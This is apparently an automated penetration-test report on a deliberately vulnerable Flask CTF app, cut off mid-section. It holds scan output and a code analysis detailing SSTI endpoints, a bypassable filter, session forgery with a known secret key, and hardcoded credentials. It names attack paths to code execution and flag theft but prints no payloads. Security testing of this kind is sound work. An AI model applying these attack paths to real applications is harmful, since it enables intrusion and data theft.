# Pre-Reconnaissance Report

## Port Discovery (naabu)
Status: Skipped
[object Object]

## Network Scanning (nmap)
Status: success
Starting Nmap 7.98 ( https://nmap.org ) at 2025-10-31 18:16 +0530
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000029s latency).
Other addresses for localhost (not scanned): ::1
Not shown: 987 closed tcp ports (conn-refused)
PORT     STATE SERVICE        VERSION
22/tcp   open  ssh            OpenSSH 9.9 (protocol 2.0)
| ssh-hostkey: 
|   256 16:31:7e:7f:f0:d7:f8:1e:d4:d6:11:5e:b0:f7:8d:c1 (ECDSA)
|_  256 16:02:af:e3:05:fc:79:77:01:be:52:ff:47:cc:85:78 (ED25519)
80/tcp   open  http           Caddy httpd
|_http-title: Site doesn't have a title.
|_http-server-header: Caddy
443/tcp  open  ssl/https
|_http-title: Site doesn't have a title.
445/tcp  open  microsoft-ds?
631/tcp  open  ipp            CUPS 2.3
|_http-title: Home - CUPS 2.3.4
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: CUPS/2.3 IPP/2.1
3703/tcp open  adobeserver-3?
| fingerprint-strings: 
|   DNSStatusRequestTCP, Help, LDAPBindReq, LPDString, RTSPRequest, X11Probe: 
|     HTTP/1.1 400 Bad Request
|     connection: close
|     content-length: 0
|     date: Fri, 31 Oct 2025 12:46:19 GMT
|   FourOhFourRequest: 
|     HTTP/1.0 400 Bad Request
|     content-type: application/json
|     access-control-allow-origin: *
|     vary: origin, access-control-request-method, access-control-request-headers
|     content-length: 60
|     date: Fri, 31 Oct 2025 12:46:19 GMT
|     {"code": 400, "message": "Missing baml-original-url header"}
|   GetRequest: 
|     HTTP/1.0 404 Not Found
|     vary: origin, access-control-request-method, access-control-request-headers
|     access-control-allow-origin: *
|     content-length: 0
|     date: Fri, 31 Oct 2025 12:46:19 GMT
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     vary: origin, access-control-request-method, access-control-request-headers
|     access-control-allow-methods: *
|     access-control-allow-headers: content-type,authorization,x-api-key,baml-original-url
|     access-control-max-age: 86400
|     access-control-allow-origin: *
|     content-length: 0
|_    date: Fri, 31 Oct 2025 12:46:19 GMT
8000/tcp open  http           WSGIServer 0.2 (Python 3.12.9)
|_http-title: SSTI Demo
|_http-server-header: WSGIServer/0.2 CPython/3.12.9
8001/tcp open  http           WSGIServer 0.2 (Python 3.12.9)
|_http-server-header: WSGIServer/0.2 CPython/3.12.9
|_http-title: SSTI Demo
8888/tcp open  http           BaseHTTPServer 0.6 (Python 3.12.9)
|_http-server-header: BaseHTTP/0.6 Python/3.12.9
|_http-title: SSRF Test Server
9001/tcp open  tor-orport?
9876/tcp open  sd?
9877/tcp open  x510?
9999/tcp open  http           SimpleHTTPServer 0.6 (Python 3.12.9)
|_http-title: Directory listing for /
|_http-server-header: SimpleHTTP/0.6 Python/3.12.9
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3703-TCP:V=7.98%I=7%D=10/31%Time=6904AF9B%P=arm-apple-darwin24.4.0%
SF:r(GetRequest,BF,"HTTP/1\.0\x20404\x20Not\x20Found\r\nvary:\x20origin,\x
SF:20access-control-request-method,\x20access-control-request-headers\r\na
SF:ccess-control-allow-origin:\x20\*\r\ncontent-length:\x200\r\ndate:\x20F
SF:ri,\x2031\x20Oct\x202025\x2012:46:19\x20GMT\r\n\r\n")%r(HTTPOptions,14E
SF:,"HTTP/1\.0\x20200\x20OK\r\nvary:\x20origin,\x20access-control-request-
SF:method,\x20access-control-request-headers\r\naccess-control-allow-metho
SF:ds:\x20\*\r\naccess-control-allow-headers:\x20content-type,authorizatio
SF:n,x-api-key,baml-original-url\r\naccess-control-max-age:\x2086400\r\nac
SF:cess-control-allow-origin:\x20\*\r\ncontent-length:\x200\r\ndate:\x20Fr
SF:i,\x2031\x20Oct\x202025\x2012:46:19\x20GMT\r\n\r\n")%r(RTSPRequest,67,"
SF:HTTP/1\.1\x20400\x20Bad\x20Request\r\nconnection:\x20close\r\ncontent-l
SF:ength:\x200\r\ndate:\x20Fri,\x2031\x20Oct\x202025\x2012:46:19\x20GMT\r\
SF:n\r\n")%r(DNSStatusRequestTCP,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\
SF:nconnection:\x20close\r\ncontent-length:\x200\r\ndate:\x20Fri,\x2031\x2
SF:0Oct\x202025\x2012:46:19\x20GMT\r\n\r\n")%r(Help,67,"HTTP/1\.1\x20400\x
SF:20Bad\x20Request\r\nconnection:\x20close\r\ncontent-length:\x200\r\ndat
SF:e:\x20Fri,\x2031\x20Oct\x202025\x2012:46:19\x20GMT\r\n\r\n")%r(X11Probe
SF:,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nconnection:\x20close\r\ncont
SF:ent-length:\x200\r\ndate:\x20Fri,\x2031\x20Oct\x202025\x2012:46:19\x20G
SF:MT\r\n\r\n")%r(FourOhFourRequest,11E,"HTTP/1\.0\x20400\x20Bad\x20Reques
SF:t\r\ncontent-type:\x20application/json\r\naccess-control-allow-origin:\
SF:x20\*\r\nvary:\x20origin,\x20access-control-request-method,\x20access-c
SF:ontrol-request-headers\r\ncontent-length:\x2060\r\ndate:\x20Fri,\x2031\
SF:x20Oct\x202025\x2012:46:19\x20GMT\r\n\r\n{\"code\":\x20400,\x20\"messag
SF:e\":\x20\"Missing\x20baml-original-url\x20header\"}")%r(LPDString,67,"H
SF:TTP/1\.1\x20400\x20Bad\x20Request\r\nconnection:\x20close\r\ncontent-le
SF:ngth:\x200\r\ndate:\x20Fri,\x2031\x20Oct\x202025\x2012:46:19\x20GMT\r\n
SF:\r\n")%r(LDAPBindReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nconnecti
SF:on:\x20close\r\ncontent-length:\x200\r\ndate:\x20Fri,\x2031\x20Oct\x202
SF:025\x2012:46:19\x20GMT\r\n\r\n");

Host script results:
| smb2-time: 
|   date: 2025-10-31T12:46:08
|_  start_date: N/A
|_clock-skew: -1m42s
| smb2-security-mode: 
|   3.0.2: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 106.39 seconds


## Subdomain Discovery (subfinder)
Status: success
mse-ca-mail.corp.mse.localhost
exchvm.nwcnet.localhost
fndlync01.5ninesdata.localhost
mail.localhost
autodiscover.localhost
mail02.regency.localhost
mail.regency.localhost
sbs.allsaintsschool.localhost
server2.hunter.localhost
www.localhost
naeu2.naeuinc.localhost
autodiscover.regency.localhost
server02.counterintel.localhost
mail03.regency.localhost
owa.regency.localhost
tools.sonoma.edu.localhost


## Technology Detection (whatweb)
Status: success
[1m[34mhttp://localhost:37579/[0m [302 Found] [1mApache[0m[[1m[32m2.4.65[0m], [1mHTML5[0m, [1mHTTPServer[0m[[1m[31mDebian Linux[0m][[1m[36mApache/2.4.65 (Debian)[0m], [1mIP[0m[[0m[22m::1[0m], [1mRedirectLocation[0m[[0m[22m/login[0m], [1mTitle[0m[[1m[33mRedirecting...[0m]
[1m[34mhttp://localhost:37579/login[0m [200 OK] [1mApache[0m[[1m[32m2.4.65[0m], [1mBootstrap[0m, [1mHTML5[0m, [1mHTTPServer[0m[[1m[31mDebian Linux[0m][[1m[36mApache/2.4.65 (Debian)[0m], [1mIP[0m[[0m[22m::1[0m], [1mPasswordField[0m[[0m[22mpassword[0m], [1mScript[0m, [1mTitle[0m[[1m[33mLogin[0m]

## Code Analysis
# Penetration Test Code Analysis Report

# Penetration Test Scope & Boundaries

**Primary Directive:** This analysis is strictly limited to the **network-accessible attack surface** of the application. All findings adhere to the "In-Scope" criteria defined below.

### In-Scope: Network-Reachable Components
A component is considered **in-scope** if its execution can be initiated, directly or indirectly, by a network request that the deployed application server is capable of receiving. This includes:
- Publicly exposed web pages and API endpoints.
- Endpoints requiring authentication via the application's standard login mechanisms.
- Any developer utility, debug console, or script that has been mistakenly exposed through a route or is otherwise callable from other in-scope, network-reachable code.

### Out-of-Scope: Locally Executable Only
A component is **out-of-scope** if it **cannot** be invoked through the running application's network interface and requires an execution context completely external to the application's request-response cycle. This includes tools that must be run via:
- A command-line interface (e.g., `go run ./cmd/...`, `python scripts/...`).
- A development environment's internal tooling (e.g., a "run script" button in an IDE).
- CI/CD pipeline scripts or build tools (e.g., Dagger build definitions).
- Database migration scripts, backup tools, or maintenance utilities.
- Local development servers, test harnesses, or debugging utilities.
- Static files or scripts that require manual opening in a browser (not served by the application).

---

## 1. Executive Summary

This is a **Flask-based loan calculator web application** with critical security vulnerabilities that expose it to complete compromise. The application demonstrates a classic example of a deliberately vulnerable CTF (Capture The Flag) challenge, as indicated by its naming convention (XBEN-023-24) and the presence of a flag file stored in the container filesystem. From a security perspective, the application exhibits fundamental weaknesses that would enable an external attacker to achieve **Remote Code Execution (RCE)** and complete system compromise.

The most critical vulnerability is **Server-Side Template Injection (SSTI)** in two authenticated endpoints (`/total_loan_payments` and `/amortization`), which allows Jinja2 template code execution. This vulnerability can be exploited to read the flag file located at `/flag` within the container, execute arbitrary Python code, and potentially escape the container environment. Additionally, the application suffers from catastrophic authentication and data security failures including plaintext password storage, hardcoded database credentials (root user with password `loan_calculator`), and a weak Flask session secret key (`your_secret_key`) that enables session forgery.

The attack surface is relatively small with only 8 HTTP endpoints exposed on port 80 (unencrypted HTTP only), of which 6 require authentication. However, authentication can be bypassed through session forgery or by using the hardcoded test credentials (username: `test`, password: `test`). The application demonstrates a complete lack of security best practices: no HTTPS/TLS, no CSRF protection, no rate limiting, wildcard CORS policy, missing security headers, and an outdated MySQL 5.7.15 database. For a penetration tester, this application presents multiple high-confidence exploitation paths with the SSTI vulnerabilities being the primary target for achieving the objective of flag retrieval and demonstrating critical impact.

---

## 2. Architecture & Technology Stack

### Framework & Language

The application is built on **Python 3** (compatible with Python 3.9+ based on Debian Bullseye-slim base image) using the **Flask 3.0.3** web framework. Flask serves as both the web application framework and the routing engine, handling all HTTP requests through the WSGI interface. The application leverages **Flask-SQLAlchemy 3.1.1** as its Object-Relational Mapping (ORM) layer, providing database abstraction and query generation. Database connectivity is established through **PyMySQL 1.1.0**, a pure-Python MySQL client library that communicates with the MySQL 5.7.15 database server.

From a security perspective, the technology stack introduces several concerns. Flask 3.0.3 is a relatively recent version (released 2024), which is positive, but the application's implementation undermines Flask's built-in security features. The use of Flask-SQLAlchemy provides baseline SQL injection protection through parameterized queries, which is one of the few positive security aspects of this application. However, PyMySQL 1.1.0 communicates over unencrypted connections by default, and no SSL/TLS configuration was detected in the database connection string, exposing all database traffic to interception within the Docker network.

The frontend stack consists of **Bootstrap CSS framework** and **jQuery 3.6.0** for client-side functionality, with **Jinja2** (Flask's default template engine) handling server-side rendering. Critically, while Jinja2 auto-escaping is enabled by default for template files (preventing most XSS attacks), the application bypasses this protection by using `render_template_string()` with user-controlled f-strings, creating the SSTI vulnerabilities. The combination of modern frameworks with insecure implementation patterns demonstrates that framework selection alone does not guarantee security.

### Architectural Pattern

The application follows a **monolithic N-tier architecture** deployed within a containerized environment. The architecture consists of three distinct tiers: (1) **Presentation Tier** - Apache 2 web server with mod_wsgi serving HTTP requests on port 80, (2) **Application Tier** - Flask application implementing business logic and session-based authentication, and (3) **Data Tier** - MySQL 5.7.15 database providing persistent storage. This traditional layered architecture creates several security boundaries that must be analyzed for potential weaknesses.

**Trust Boundary Analysis** reveals four critical security boundaries in this architecture:

1. **External → Web Server Boundary (Port 80):** This is the primary attack surface, accepting HTTP requests from external networks. The absence of HTTPS/TLS means this boundary provides no confidentiality or integrity protection. Apache's configuration includes dangerous directives such as `Options Indexes` (enabling directory listing) and wildcard CORS (`Access-Control-Allow-Origin: *`), weakening this boundary significantly. The Apache configuration file (`ssti_blind_loan_calculator-httpd.conf`) also enables CGI execution (`Options +ExecCGI`), though no CGI scripts were found in the application.

2. **Web Server → Application Boundary (WSGI Interface):** Apache forwards requests to the Flask application via mod_wsgi (`ssti_blind_loan_calculator.wsgi`). This boundary relies on session-based authentication enforced by Flask route handlers. However, the authentication mechanism is critically flawed due to the weak secret key (`your_secret_key`), enabling attackers to forge valid session cookies and bypass this trust boundary entirely. Additionally, the `/amortization` endpoint lacks session validation, allowing unauthenticated access to an SSTI-vulnerable endpoint.

3. **Application → Database Boundary (MySQL Connection):** The Flask application communicates with MySQL over the Docker internal network (port 3306, not exposed to the host). This boundary is severely weakened by several factors: (a) the application uses the MySQL `root` superuser account, granting excessive privileges, (b) credentials are hardcoded in the source code (`mysql+pymysql://root:loan_calculator@db/database`), making them trivially discoverable, (c) no connection encryption (SSL/TLS) is configured, and (d) the outdated MySQL 5.7.15 version (released 2016) contains known security vulnerabilities. Compromise of the application tier grants complete database access.

4. **Container → Host Boundary (Docker Isolation):** Both the application and database run as separate Docker containers orchestrated via docker-compose. However, both containers run processes as the root user (no `USER` directive in Dockerfiles), violating container security best practices. The flag file (`/flag`) is embedded in the application container filesystem during build time, making it accessible to any code execution vulnerability. While Docker provides some isolation, running as root and the SSTI vulnerabilities create realistic container escape scenarios.

The application follows a synchronous request-response pattern with no background job processing, message queues, or asynchronous task handlers. All business logic executes within the request lifecycle, simplifying the attack surface analysis. Session state is managed through Flask's default signed cookie mechanism, storing only the `user_id` in the session. This architecture enables horizontal scaling but lacks any load balancing, health monitoring beyond basic Docker health checks, or redundancy mechanisms.

### Critical Security Components

**Authentication & Session Management:** The application implements custom session-based authentication without leveraging established authentication libraries (no Flask-Login, no OAuth). Authentication decisions occur inline within each route handler through `session.get('user_id')` checks. This decentralized approach has already resulted in the `/amortization` endpoint lacking proper authentication checks. The session signing key (`your_secret_key`) is the most critical security component, as its compromise enables complete authentication bypass through session forgery. The hardcoded test user credentials (username: `test`, password: `test`) are embedded in the application initialization code (`__init__.py` lines 19-34), providing guaranteed initial access for attackers.

**Database Access Layer:** SQLAlchemy ORM serves as the primary data access abstraction, handling all database queries. The ORM's parameterized query generation provides baseline SQL injection protection, as evidenced by queries like `User.query.filter_by(username=username, password=password).first()`. However, this protection is undermined by the complete absence of input validation before database operations and the use of the root database user with unlimited privileges. The database configuration is centralized in `app/__init__.py` with hardcoded credentials exposed directly in the connection string.

**Input Handling & Validation:** The application demonstrates near-complete absence of input validation mechanisms. The only validation found is a weak blacklist filter in the `/amortization` endpoint (blocking `{`, `}`, `%` characters), which is trivially bypassable and highlights the danger of blacklist-based security. No validation middleware, no input sanitization libraries, and no schema validation exist. Type casting is used for some parameters (e.g., `request.args.get('payment', type=float)`), but type conversion failures are not handled, potentially causing application crashes.

**Cryptographic Components:** The application lacks any encryption implementation for data at rest or sensitive field protection. The only cryptographic operation is Flask's session cookie signing using HMAC-SHA256 (default Flask behavior), which depends entirely on the secrecy of the `your_secret_key` value. No password hashing library (bcrypt, argon2, pbkdf2) is imported or used. No TLS/SSL certificates, no encryption keys, and no key management system were detected. This complete absence of cryptography for sensitive data protection represents a catastrophic security failure.

---

## 3. Authentication & Authorization Deep Dive

### Authentication Mechanisms and Security Properties

The application implements a **custom session-based authentication system** without leveraging industry-standard authentication libraries or frameworks. The authentication flow consists of a login endpoint (`/login`) that accepts username and password credentials via POST request, performs a direct plaintext comparison against the database, and establishes a session by storing the user ID in Flask's signed session cookie. This implementation exhibits multiple critical security vulnerabilities that enable trivial authentication bypass.

**Password Storage and Validation (CRITICAL VULNERABILITY):** The most severe authentication vulnerability is the storage of passwords in **plaintext** within the MySQL database. The User model defines the password field as `password = db.Column(db.String(50), nullable=False)` (`models.py` line 8), with no hashing, encryption, or any cryptographic protection. Authentication is performed through a direct database query: `User.query.filter_by(username=username, password=password).first()` (`routes.py` line 27), comparing the user-supplied password directly against the plaintext value stored in the database. This violates fundamental security principles outlined in OWASP Top 10 (A02:2021-Cryptographic Failures) and CWE-256 (Plaintext Storage of Password). Complete database compromise—achievable through SSTI or SQL injection in other applications—would expose all user passwords immediately without requiring any cryptographic attack. No password complexity requirements, no timing-safe comparison (vulnerable to timing attacks), and no rate limiting on authentication attempts further compound this vulnerability.

**Hardcoded Test Credentials:** The application contains hardcoded test user credentials embedded directly in the initialization code (`app/__init__.py` lines 19-34). During application startup, a test user is created with `username='test'` and `password='test'`. These credentials provide guaranteed authenticated access to any attacker who examines the source code, performs credential stuffing attacks, or simply tries common default credentials. This represents a critical authentication bypass that requires no exploitation skill.

**Session Management Implementation:** Upon successful authentication, the application stores only the user ID in the session: `session['user_id'] = user.id` (`routes.py` line 30). Flask's default session implementation uses client-side signed cookies, where the session data is serialized, signed with HMAC-SHA256 using the secret key, and sent to the client. The security of this entire mechanism rests on a single constant: `app.secret_key = 'your_secret_key'` (`app/__init__.py` line 8). This is a default/placeholder value that appears to have been left unchanged from example code, as evidenced by the comment on line 7: "Change this to a secure secret key". With knowledge of this secret key, an attacker can forge arbitrary session cookies containing any user_id value, achieving complete authentication bypass without credentials.

**Exhaustive API Endpoints Used for Authentication:**

The authentication system encompasses the following network-accessible endpoints:

1. **Login Endpoint:** `/login` (GET, POST)
   - **File:** `routes.py` lines 22-36
   - **Functionality:** GET displays login form, POST processes credentials
   - **Input:** `request.form['username']`, `request.form['password']`
   - **Success Action:** Sets `session['user_id']` and redirects to `/home`
   - **Failure Action:** Re-renders login template with error message
   - **Security Issues:** No rate limiting, no account lockout, no CSRF protection, no timing-safe comparison

2. **Logout Endpoint:** `/logout` (GET)
   - **File:** `routes.py` lines 39-43
   - **Functionality:** Clears user session and redirects to login
   - **Implementation:** `session.pop('user_id', None)`
   - **Security Issues:** Does not invalidate session cookie, does not clear all session data, does not rotate session ID

3. **Session Validation (Inline in Protected Endpoints):** All authenticated endpoints use the pattern:
   ```python
   user_id = session.get('user_id')
   if user_id:
       # authorized code
   else:
       return redirect(url_for('login'))
   ```
   - **Locations:** `/home` (line 49), `/profile` (line 61), `/loan_details` (line 85), `/total_loan_payments` (line 98)
   - **CRITICAL MISSING:** `/amortization` endpoint (lines 122-177) lacks this session check, allowing unauthenticated access to an SSTI-vulnerable endpoint

**No Password Reset or Recovery Mechanisms:** The application implements no password reset flow, no email verification, no "forgot password" functionality, and no account recovery mechanisms. While this reduces the attack surface for password reset vulnerabilities (a common exploitation target), it also means password security depends entirely on the initial credential creation, which uses plaintext storage.

### Session Management and Token Security

**Session Cookie Configuration (CRITICAL GAPS):** The application fails to configure any session cookie security flags, relying entirely on Flask's default behavior. Critically absent are the following configurations:

- **HttpOnly Flag:** NOT CONFIGURED - The absence of `app.config['SESSION_COOKIE_HTTPONLY'] = True` means session cookies are accessible via JavaScript (`document.cookie`). If any XSS vulnerability existed in the application (none found in client-side code, but SSTI enables XSS), attackers could steal session cookies. Default Flask behavior typically sets HttpOnly, but this should be explicitly configured.

- **Secure Flag:** NOT CONFIGURED - The absence of `app.config['SESSION_COOKIE_SECURE'] = True` means session cookies are transmitted over unencrypted HTTP connections. Since the application runs on HTTP only (port 80, no HTTPS), this flag would be ineffective anyway, but it highlights the lack of TLS throughout the stack.

- **SameSite Flag:** NOT CONFIGURED - The absence of `app.config['SESSION_COOKIE_SAMESITE']` (should be 'Lax' or 'Strict') means session cookies are sent with cross-site requests, enabling Cross-Site Request Forgery (CSRF) attacks. Combined with the complete absence of CSRF tokens in forms, authenticated actions can be triggered from attacker-controlled domains.

**Exact File and Line for Session Cookie Configuration:** Session cookie flags should be configured in `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-023-24/app/website/app/__init__.py` immediately after line 8 (where `app.secret_key` is set), but these configurations are **completely missing**. The correct implementation should include:

```python
app.config['SESSION_COOKIE_HTTPONLY'] = True  # MISSING
app.config['SESSION_COOKIE_SECURE'] = True     # MISSING (requires HTTPS)
app.config['SESSION_COOKIE_SAMESITE'] = 'Lax'  # MISSING
```

**Session Timeout and Renewal:** No session timeout configuration was detected. Flask's default `PERMANENT_SESSION_LIFETIME` is 31 days, meaning sessions persist for a month without requiring re-authentication. The application sets no `SESSION_PERMANENT` flag, no maximum session duration, and no idle timeout. Sessions remain valid indefinitely until the user explicitly logs out or the secret key changes. This extended session lifetime increases the window for session hijacking attacks and violates security best practices requiring session expiration.

**Session Storage Mechanism:** Flask's default session implementation stores session data client-side in signed cookies. The session dictionary (`session['user_id']`) is serialized, base64-encoded, signed with HMAC-SHA256 using the secret key, and sent to the client as the `session` cookie. The server does not maintain session state in Redis, database, or memory. This stateless approach enables horizontal scaling but means session revocation is impossible—even changing the secret key only invalidates future sessions, not existing signed cookies until they expire. No server-side session store, no session database, and no distributed session management were implemented.

**Session Fixation Vulnerability:** The authentication flow does not regenerate the session ID upon successful login. The application simply sets `session['user_id'] = user.id` without calling `session.regenerate()` or similar. This creates a session fixation vulnerability where an attacker can set a victim's session ID (through cross-site cookie injection or other methods), then wait for the victim to authenticate, after which the attacker's pre-set session becomes authenticated.

### Authorization Model and Potential Bypass Scenarios

**Authorization Model:** The application implements a **rudimentary session-based authorization model** with no role-based access control (RBAC), no attribute-based access control (ABAC), no permission system, and no user privilege levels. Authorization decisions are binary: either a user is authenticated (has `user_id` in session) or they are not. All authenticated users have identical privileges and can access all authenticated endpoints. There is no administrative functionality, no privileged operations, and no differentiation between user types.

**Inline Authorization Checks (No Middleware):** Authorization is enforced through inline checks at the beginning of each route handler:

```python
user_id = session.get('user_id')
if user_id:
    # authorized code
else:
    return redirect(url_for('login'))
```

This decentralized approach is error-prone, as evidenced by the `/amortization` endpoint (`routes.py` lines 122-177) **completely missing this authorization check**. The endpoint processes the `term` parameter and returns rendered output without verifying the user is authenticated. While this endpoint is typically accessed via an iframe in the authenticated `/loan_details` page, direct HTTP requests to `/amortization?term=X` succeed without authentication, exposing the SSTI vulnerability to unauthenticated attackers.

**Potential Authorization Bypass Scenarios:**

1. **Session Forgery via Weak Secret Key:** An attacker with knowledge of `app.secret_key = 'your_secret_key'` can forge arbitrary session cookies. Using Flask's session serialization format and HMAC signing with the known key, an attacker can create a session cookie containing any `user_id` value (e.g., `{'user_id': 1}`). This bypasses authentication entirely without requiring credentials. The session signing algorithm (HMAC-SHA256) is cryptographically secure, but the secrecy of the key is the sole security property—if the key is known or default, the mechanism fails completely.

2. **Credential Stuffing with Test Credentials:** The hardcoded test user (`username='test', password='test'`) provides guaranteed authenticated access. Even if this user were removed from production deployments, the pattern of using weak default credentials is established in the codebase.

3. **Missing Authorization Check in /amortization:** Direct requests to `/amortization?term=5` succeed without authentication, allowing unauthenticated access to an SSTI-vulnerable endpoint. While the blacklist filter (`{`, `}`, `%`) applies, this still represents an authorization bypass that expands the attack surface to unauthenticated attackers.

4. **No Horizontal Access Control:** While each authenticated user can only query their own data through `user = User.query.get(user_id)` (using the session's user_id), there is no validation preventing user_id tampering in the session cookie. If an attacker can modify the session cookie (through weak secret key or XSS in a hypothetical scenario), they can set `user_id` to any value and access other users' data. No ownership verification beyond trusting the session cookie content exists.

5. **CSRF Enabling Privilege Escalation:** The absence of CSRF tokens in forms (`/login` POST, `/profile` POST) means authenticated actions can be triggered cross-site. An attacker can craft malicious HTML pages that submit forms to the application, using the victim's session cookie (sent automatically via SameSite default behavior). This enables account takeover through profile update (`/profile` POST allows changing email, name, lastname), password change (if such functionality existed), or other authenticated actions.

### Multi-Tenancy Security Implementation

**Multi-Tenancy Assessment:** This application is **not multi-tenant**. It is a single-instance application with basic user isolation. Each user has a separate record in the `User` table (single database, single schema), and users can only access their own data through the session's `user_id`. There is no organization/tenant isolation, no separate databases per tenant, no row-level security, and no tenant context.

**User Data Isolation Mechanism:** User isolation is enforced through SQLAlchemy ORM queries that filter by the session's user_id:

```python
user_id = session.get('user_id')
user = User.query.get(user_id)  # Fetches only the authenticated user's record
```

This pattern appears in `/home` (line 51), `/profile` (line 63), and `/loan_details` (line 87). The isolation mechanism relies entirely on the integrity of the session cookie. If the session cookie can be tampered with (which is possible given the weak secret key), user isolation fails completely, enabling horizontal privilege escalation to access any user's data by setting `user_id` to the target user's ID.

**No Ownership Validation:** The application does not validate that the `user_id` in the session corresponds to a valid, active user account. If a user record is deleted but their session cookie remains valid (until expiration), the application would fail with a null pointer exception rather than gracefully invalidating the session. No session invalidation on password change, account deletion, or privilege modification exists.

### SSO/OAuth/OIDC Flows (If Applicable)

**Finding:** No Single Sign-On (SSO), OAuth, OpenID Connect (OIDC), or SAML implementations were detected in this application. The application uses only local database authentication with username/password credentials. No third-party authentication integrations, no OAuth callback endpoints, no JWT validation, no OIDC discovery endpoints, and no federated authentication mechanisms exist.

**Implications:** While this reduces the attack surface associated with OAuth/OIDC vulnerabilities (such as authorization code interception, state parameter manipulation, or JWKS confusion), it places the entire authentication burden on the application's custom implementation, which has proven to be critically flawed. The absence of established authentication libraries (Flask-Login, Authlib, etc.) means all authentication logic is custom-built, increasing the likelihood of security vulnerabilities.

**State and Nonce Validation:** Not applicable—no OAuth/OIDC flows exist to validate.

---

## 4. Data Security & Storage

### Database Security

**Database Configuration and Credential Management:** The application uses **MySQL 5.7.15** as its database server, an outdated version released in 2016 with multiple known CVEs including CVE-2017-3600, CVE-2017-3633, CVE-2018-2562, and others. Modern MySQL deployments use version 8.x, which includes significant security improvements. The database configuration is defined in the application initialization file at `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-023-24/app/website/app/__init__.py` line 11:

```python
app.config['SQLALCHEMY_DATABASE_URI'] = 'mysql+pymysql://root:loan_calculator@db/database'
```

This single line exposes multiple critical security failures: (1) **Root User Access** - the application connects using the MySQL `root` superuser account, granting unlimited database privileges including CREATE, DROP, ALTER, GRANT, and system-level operations; (2) **Hardcoded Credentials** - the password `loan_calculator` is embedded directly in source code, visible in version control history, and cannot be rotated without code changes; (3) **No Environment Variable Abstraction** - credentials are not externalized to environment variables, configuration management systems, or secret stores like HashiCorp Vault or AWS Secrets Manager.

The database root password is **duplicated in three locations**, further exposing the credentials:
- **Application Code:** `app/__init__.py` line 11 (as shown above)
- **MySQL Dockerfile:** `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-023-24/mysql/Dockerfile` line 3: `ENV MYSQL_ROOT_PASSWORD=loan_calculator`
- **Docker Compose Healthcheck:** `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-023-24/docker-compose.yml` line 7: `mysqladmin ping -h localhost -u root -ploan_calculator`

This credential replication across configuration files creates multiple exposure points and demonstrates a systemic failure in secret management practices.

**Encryption Controls:** The database connection uses **no encryption in transit**. The connection string `mysql+pymysql://root:loan_calculator@db/database` lacks SSL/TLS parameters such as `ssl_ca`, `ssl_cert`, or `ssl_key`. All database communication between the Flask application container and the MySQL container occurs over unencrypted TCP (port 3306) within the Docker internal network. While Docker networks provide some isolation from external networks, any container compromise or network tap within the Docker environment would expose all database traffic including authentication credentials, queries, and result sets in plaintext.

**Encryption at rest** is not configured. MySQL 5.7 supports InnoDB tablespace encryption and file-per-table encryption, but no evidence of encryption configuration exists in the Dockerfile or MySQL initialization. Database files are stored in plaintext on the container's filesystem, meaning any file-level access (through container escape, volume compromise, or backup exposure) exposes all data including plaintext passwords, PII, and financial information.

**Access Control and Privilege Model:** The use of the root database account violates the principle of least privilege. The application should use a dedicated database user with minimal permissions (SELECT, INSERT, UPDATE, DELETE on specific tables only, no DDL or administrative privileges). The current configuration grants the application the ability to:
- Drop or truncate tables (data destruction)
- Create new databases (lateral movement)
- Modify user privileges (privilege escalation)
- Execute system commands through MySQL functions like `sys_exec` (if available)
- Access other databases on the same MySQL instance

**SQL Injection Protection (Partial Success):** The application uses SQLAlchemy ORM, which provides parameterized queries and baseline SQL injection protection. All observed database queries use ORM methods:
- `User.query.filter_by(username=username, password=password).first()` (routes.py line 27)
- `User.query.get(user_id)` (routes.py lines 51, 63, 87)
- SQLAlchemy update operations in profile handler (routes.py lines 66-71)

No raw SQL queries using `.execute()` or string concatenation were found. The ORM automatically parameterizes all queries, preventing first-order SQL injection. However, second-order SQL injection (where attacker-controlled data is stored in the database and later used in a query) remains possible if the application were to construct dynamic queries from stored data. Additionally, the complete absence of input validation means the application accepts any data for database storage, potentially causing type conversion errors, exceeding column length limits (VARCHAR constraints), or violating business logic.

### Data Flow Security

**Sensitive Data Identification and Classification:** The application handles the following categories of sensitive data:

1. **Authentication Credentials:**
   - Usernames: VARCHAR(50) in User.username
   - Passwords: VARCHAR(50) in User.password (PLAINTEXT STORAGE - CRITICAL)

2. **Personal Identifiable Information (PII):**
   - Full Names: User.name (VARCHAR 50), User.lastname (VARCHAR 50)
   - Email Addresses: User.email (VARCHAR 100)

3. **Financial Information:**
   - Loan Amounts: User.loan_amount (Float)
   - Loan Terms: User.loan_term_months (Integer)
   - Monthly Payments: User.monthly_payment (Float)

All sensitive data is stored in a single database table (`User` model in `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-023-24/app/website/app/models.py`) with **no encryption, no masking, no pseudonymization, and no access auditing**. The database schema treats passwords identically to non-sensitive fields like names, representing a catastrophic data protection failure.

**Data Flow Analysis - Input to Storage:**

The primary data flow follows this pattern:
1. **User Input** → HTTP POST request (login or profile form)
2. **Flask Request Processing** → `request.form['field_name']` extraction
3. **Minimal Type Conversion** → `float()` or `int()` casting (no validation)
4. **ORM Assignment** → Direct assignment to SQLAlchemy model attributes
5. **Database Persistence** → `db.session.commit()` writes plaintext to MySQL

**Critical Absence of Input Validation:** Not a single input validation function exists in the codebase. The login endpoint (`/login`) accepts any string values for username and password without length validation, character restrictions, or format validation:

```python
username = request.form['username']  # No validation
password = request.form['password']  # No validation
user = User.query.filter_by(username=username, password=password).first()
```

The profile update endpoint (`/profile`) performs minimal type conversion but no validation:

```python
user.name = request.form['name']  # No length check (DB limit: 50)
user.email = request.form['email']  # No email format validation
user.loan_amount = float(request.form['loan_amount'])  # No range check (accepts negative numbers)
user.loan_term_months = int(request.form['loan_term_months'])  # No range check
```

**Exploitable Validation Failures:**
